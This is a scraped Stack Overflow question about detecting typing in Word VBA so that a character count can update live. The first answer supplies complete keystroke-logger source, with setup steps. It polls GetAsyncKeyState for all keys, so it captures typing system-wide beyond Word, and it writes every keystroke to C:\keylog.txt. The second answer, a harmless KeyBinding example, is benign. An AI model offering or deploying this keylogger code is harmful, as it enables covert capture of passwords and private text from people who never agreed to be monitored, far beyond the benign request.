Detecting when data is added to a document, eg. a character or white space

喜你入骨 提交于 2019-12-10 13:07:15

问题


Is there a way to detect when a user presses a key in Microsoft Word using VBA. I have searched for a method which does this. I have also searched for methods which create a way around this, such as detecting when the insertion point moves or it detects when a new character is placed in the word document, but I have had no look. I am currently using appWord_WindowSelectionChange(ByVal Sel As Selection) but this does not detect as you type.

I would appreciate anyone showing me how to either detect a keypress or would be able to show me a workaround which will accomplish the same goal.

Edit

I apologise if the summary of what I want above is not clear. What I have is a sub which fires using appWord_WindowSelectionChange(ByVal Sel As Selection). However what I want is this sub to fire whenever any data is entered into the word document, eg. a letter or a white space character. For example, if there was a character count in the footer of the word document and this sub which I have updates this character count, the character count field should update as the user types in the document.


回答1:


Not my Code but HTH.

        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
        Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

        Sub KeyStrokeLogger()
            Dim i As Integer
            Dim KeyAsciiValue As Integer

            StartLogging
            Do While True
                For i = 1 To 255
                    If GetAsyncKeyState(i) = -32767 Then
                        If CapsLockIsOn() Then
                            If ShiftIsPressed() = True Then
                 KeyAsciiValue = Asc(LCase(Chr(i)))
                  Else
                 KeyAsciiValue = Asc(UCase(Chr(i)))
                  End If
                        Else
                            If ShiftIsPressed() = True Then
                 KeyAsciiValue = Asc(UCase(Chr(i)))
                  Else
                 KeyAsciiValue = Asc(LCase(Chr(i)))
                  End If
                        End If
                        LogKeyStroke KeyAsciiValue
                    End If
                Next i
                DoEvents
            Loop
        End Sub

        Private Function CapsLockIsOn() As Boolean
            CapsLockIsOn = CBool(GetKeyState(20))
        End Function

        Private Function ShiftIsPressed() As Boolean
            ShiftIsPressed = CBool(GetAsyncKeyState(16))
        End Function

        Private Sub StartLogging()
            Open "C:\keylog.txt" For Binary As #1
            Seek #1, LOF(1) + 1
        End Sub

        Private Sub LogKeyStroke(KeyAsciiValue As Integer)
            Dim c As String * 1
            c = Chr(KeyAsciiValue)
            Select Case KeyAsciiValue
                Case 8
                    Put #1, , "{BACKSPACE}"
                Case 9
                    Put #1, , "{TAB}"
                Case 13
                    Put #1, , "{ENTER}"
                Case 32 To 126
                    Put #1, , c
                Case Else
                    Put #1, , "{" & KeyAsciiValue & "}"
            End Select
        End Sub

*"How to use the above code:

Step 1 Create a new document in MS-Word.

Step 2 Go to Tools, Macro, Visual Basic Editor

Step 3 Double click on ThisDocument Object under Project(Document1) in the Project Window.

Step 4 Copy the above code and paste it into the Visual Basic Editor.

Step 5 Close the Visual Basic Editor and save the document.

Step 6 Ensure that macros are enabled. To start logging keystrokes at any time click on Tools, Macro, Macros. Select KeyStrokeLogger and click Run. All the keystrokes will be stored in C:\keylog.txt. "* LinkBack to Post




回答2:


Use keybindings to bind characters to the function you want. For example, the following code (when run) fires a message box when the user enters 0 in the word document.

Put this in module 1

Sub AddKeyBinding()
With Application
    .CustomizationContext = ThisDocument
    .KeyBindings.Add KeyCode:=BuildKeyCode(wdKey0), _
    KeyCategory:=wdKeyCategoryCommand, _
    Command:="userpressedzero"
End With
End Sub

Put this in module 2

Sub userpressedzero()
    Dim MyText As String
    Selection.TypeText ("0")
    MsgBox ("user pressed 0")
End Sub

Now run module 1 and press 0 in your word document.



来源:https://stackoverflow.com/questions/31493969/detecting-when-data-is-added-to-a-document-eg-a-character-or-white-space

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!